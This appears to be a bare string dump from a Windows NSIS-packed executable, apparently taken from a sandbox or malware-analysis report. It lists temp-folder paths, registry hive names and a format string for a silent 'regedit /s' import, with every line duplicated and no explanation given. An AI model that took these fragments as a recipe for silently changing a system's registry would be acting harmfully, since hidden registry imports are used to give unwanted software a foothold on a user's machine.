C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO

%original file name%.exe

%original file name%.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsh1.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsh1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

Nullsoft Install System v2.46

Nullsoft Install System v2.46

HKEY_DYN_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

%s /s "%s"

%s /s "%s"

regedit.exe

regedit.exe

REG_KEY

REG_KEY

%s%s%s

%s%s%s